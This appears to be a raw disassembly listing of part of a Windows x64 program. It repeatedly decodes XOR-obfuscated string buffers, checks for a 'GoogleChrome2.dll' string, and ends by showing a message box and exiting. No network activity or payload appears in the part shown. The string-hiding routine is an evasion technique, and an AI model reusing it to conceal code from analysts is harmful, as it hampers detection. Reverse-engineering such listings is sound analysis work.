paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000ded0
cmp eax, 0x19
jge 0x1400090a3
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x19
jl 0x14000dff0
jmp 0x1400090a3
lea rdx, str.GoogleChrome2.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
jne 0x14000e3b0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp - 0x63], 0
lea rdx, [rbp + 0xad8]
lea rcx, [rbp - 0x63]
call fcn.14000ea70
mov r10, rax
cmp byte [rax + 0x21], 0
jne 0x14000e203
mov r8d, r14d
cmp r15d, 2
jl 0x14000e1bd
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000e0b0
cmp r8d, 0x22
jge 0x14000e203
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14000e1d0
cmp byte [r10 + 0x21], 0
je 0x14000e3a3
cmp r15d, 2
jl 0x14000e35f
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000e250
cmp eax, 0x22
jge 0x14000e3a3
movsxd r8, r14d
add r8, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x22
jl 0x14000e370
mov rcx, r10
call fcn.140001050
jmp 0x14000859d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rsp + 0x48], 0
lea rdx, [rbp + 0x7b0]
lea rcx, [rsp + 0x48]
call fcn.14000eaa0
mov r10, rax
cmp byte [rax + 0x10], 0
jne 0x14000e573
mov r8d, r14d
cmp r15d, 2
jl 0x14000e531
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14000e420
cmp r8d, 0x11
jge 0x14000e573
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14000e540
cmp byte [r10 + 0x10], 0
je 0x14000e713
cmp r15d, 2
jl 0x14000e6cf
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x10
jl 0x14000e5c0
cmp eax, 0x11
jge 0x14000e713
movsxd r8, r14d
add r8, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x11
jl 0x14000e6e0
xor r9d, r9d
mov r8, r10
lea rdx, [0x140014d20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3